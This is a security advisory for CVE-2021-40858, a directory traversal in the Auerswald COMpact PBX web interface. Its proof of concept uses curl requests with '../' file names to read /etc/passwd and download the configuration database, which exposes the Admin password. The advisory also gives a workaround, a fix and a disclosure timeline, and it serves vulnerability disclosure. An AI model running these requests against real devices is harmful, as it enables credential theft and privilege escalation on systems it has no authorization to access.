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Auerswald COMpact Arbitrary File Disclosure


RedTeam Pentesting discovered a vulnerability in the web-based management interface of the Auerswald COMpact 5500R PBX which allows users with the "sub-admin" privilege to access any files on the PBX's file system.


Details
=======

Product: COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX), COMpact 5010 VoIP, COMpact 5020 VoIP, COMmander Business(19"), COMmander Basic.2(19")
Affected Versions: <= 8.0B (COMpact  4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX))
Fixed Versions: 8.2B
Vulnerability Type: Arbitrary File Disclosure
Security Risk: medium
Vendor URL: https://www.auerswald.de/en/product/compact-5500r
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2021-006
Advisory Status: published
CVE: CVE-2021-40858
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40858


Introduction
============

"Fully modular VoIP appliance for more efficient communication processes With the COMpact 5500R, you are originally equipped for everyday business - now and in the future.

The fully modular architecture with 80 IP channels and all the functions of a large ITC server allows up to 112 subscribers and thus scales with your company.

Continuous maintanance and expansion of the system software makes this versatile IP server a future-proof investment in any business communication."

(from the vendor's homepage)


More Details
============

RedTeam Pentesting discovered that attackers with administrative access to the PBX's web-based management interface (as a so-called "sub-admin") can download arbitrary files from the PBX's file system. This includes the usually not accessible configuration database which contains the password for the highly privileged "Admin" user in clear text. 


Proof of Concept
================

The command-line HTTP client curl[1] can be used to log into the management interface of the PBX with the username "sub-admin" and the password "verysecretpassword" as follows:

------------------------------------------------------------------------
$ curl --anyauth --user sub-admin:verysecretpassword --include \
  https://192.168.1.2/tree

[...]
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
Set-Cookie: AUERSessionID1234123412=ERQMMDGECSGWTII; HttpOnly; Path=/
[...]

[{"login":2,"userId":2222,[...]}]
------------------------------------------------------------------------ 

The server returns a session ID in a cookie which is then used to check the access level:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \
  https://192.168.1.2/logstatus_state

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]

{"logstatus":"Sub-Administrator"}
------------------------------------------------------------------------ 

In the PBX's user management, the access level "Sub-Administrator" is used for user accounts who should be able to configure the PBX. There are also other, higher-level access privileges.

Users with the "sub-admin" privilege can configure music on hold (MOH, "Wartemusik"), and for example listen to the currently configured music. In order to do this, the browser requests the music files from the PBX. 

The file "alarm1.wav" can be accessed with curl as follows:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \
'https://192.168.1.2/wartemusik_verwaltung_play?fileName=alarm1.wav'\
'&pageindex=1'

HTTP/1.1 200 OK
Content-Type: audio/x-wav; charset=
Content-Length: 132192
Content-disposition: attachment; filename="alarm1.wav"
[...]
------------------------------------------------------------------------ 

It was found that the PBX allows directory traversal with the string "../", so the file "/etc/passwd" can be accessed as follows:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \
'https://192.168.1.2/wartemusik_verwaltung_play?'\
'fileName=../../etc/passwd&pageindex='

HTTP/1.1 200 OK
[...]
Content-Length: 113
Content-disposition: attachment; filename="../../etc/passwd"
[...]

root::0:0:root:/root:/bin/sh
netstorage::1:1::/data/ftpd:/bin/false
web::2:2::/opt/auerswald/lighttpd:/bin/false
------------------------------------------------------------------------ 

The same issue is present in the function for managing logos. A regular request for the file "logo1.jpg" is shown below:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \
'https://192.168.1.2/logo_verwaltung_preview?fileName=logo1.jpg&424'

HTTP/1.1 200 OK
X-XSS-Protection: 1
Content-Type: image/jpg; charset=UTF-8
Content-Length: 13986
Content-disposition: attachment; filename="logo1.jpg"
[...]
------------------------------------------------------------------------ 

In a similar fashion as before, the file "/etc/passwd" can be accessed:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \
'https://192.168.1.2/logo_verwaltung_preview?fileName=../../etc/passwd'

HTTP/1.1 200 OK
[...]

root::0:0:root:/root:/bin/sh
netstorage::1:1::/data/ftpd:/bin/false
web::2:2::/opt/auerswald/lighttpd:/bin/false
------------------------------------------------------------------------ 

For attackers, an interesting file is the SQLite[2] database file "/data/db/pbx4.db". It can be downloaded as follows:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' 'https://'\
'192.168.1.2/logo_verwaltung_preview?fileName=../../data/db/pbx4.db' \
 > pbx4.db

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  5120  100  5120    0     0  16253      0 --:--:-- --:--:-- --:--:-- 16305
------------------------------------------------------------------------ 

This file contains the password for the highly privileged "Admin" user account:

------------------------------------------------------------------------
$ sqlite3 pbx4.db
SQLite version 3.27.2 2019-02-25 16:06:06
Enter ".help" for usage hints.

sqlite> .tables
DbFileVersion  PbxMisc

sqlite> select * from PbxMisc;
[...]
AdminPasswdHash|
AdminLogin|Admin
AdminPin|43214321
AdminPasswd|S3kr1t!
------------------------------------------------------------------------ 

The username and password can then be used to log into the web application:

------------------------------------------------------------------------
$ curl --user 'Admin:S3kr1t!' --anyauth --include \
  https://192.168.1.2/tree

HTTP/1.1 200 OK
Set-Cookie: AUERSessionID1234123412=AJXGKBFTCIHSHAC; HttpOnly; Path=/
[...]

[{"login":3,"userId":0,"userName":"",[...]}]
------------------------------------------------------------------------ 

Checking the access level reveals the new privilege:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=AJXGKBFTCIHSHAC' --include \
  https://192.168.1.2/logstatus_state

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]

{"logstatus":"Administrator"}
------------------------------------------------------------------------ 

The user "Admin", in contrast to regular administrative users ("sub-admin"), can access more functions and for example apply firmware updates.

Workaround
==========

Disable or restrict access to the web-based management if possible. 


Fix
===

Upgrade to a firmware version which corrects this vulnerability. 


Security Risk
=============

Attackers who already have acquired administrative access as a so-called "sub-admin" can download a database file and access the password for the highly privileged "Admin" account. This account can use more functions and is allowed to apply firmware updates.

On the one hand, exploiting this vulnerability already requires administrative access. On the other hand, attackers can reach high-privileged access to the PBX and use functions not available to "sub-admin" users, like firmware updates. All in all, this vulnerability is therefore rated to have a medium risk potential.


Timeline
========

2021-08-26 Vulnerability identified
2021-09-01 Customer approved disclosure to vendor
2021-09-10 Vendor notified
2021-09-10 CVE ID requested
2021-09-10 CVE ID assigned
2021-10-05 Vendor provides access to device with fixed firmware
2021-10-11 Vendor provides fixed firmware
2021-10-15 RedTeam Pentesting examines device, vulnerability seems to be corrected
2021-12-06 Advisory published


References
==========

[1] https://curl.se
[2] https://www.sqlite.org


RedTeam Pentesting GmbH
=======================

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As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.

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https://www.redteam-pentesting.de/


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=============================

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